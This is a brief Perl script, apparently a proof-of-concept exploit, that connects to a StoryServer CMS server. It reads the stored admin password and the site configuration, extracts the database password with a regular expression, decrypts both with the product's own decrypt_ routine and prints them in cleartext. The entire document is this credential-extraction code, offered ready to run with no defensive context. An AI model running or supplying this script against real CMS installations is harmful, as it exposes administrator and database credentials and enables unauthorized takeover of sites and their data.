#!/usr/local/bin/perl use strict; use StoryServer::CMS; use StoryServer::Crypt qw(is_crypted decrypt_); my ($cms_host, $cms_port) = @ARGV; my $CMS = StoryServer::CMS->new($cms_host, $cms_port); my $admin_passwd = $CMS->get_sub_attr (qw(/an/class Vuids admin Password)); my $pmcfg = $CMS->get_sub_attr(qw(/cf/class SiteInfo PmCfgFileContent)); my $db_passwd = "$1$2$3" if $pmcfg =~ m/set\s+SYSTEM_DB_PASSWORD\s+(?:{(.*)}|"(.*)"|(.*))/; print "Database password = ", decrypt_($db_passwd), "\n"; print "Admin password = ",decrypt_ ($admin_passwd), "\n";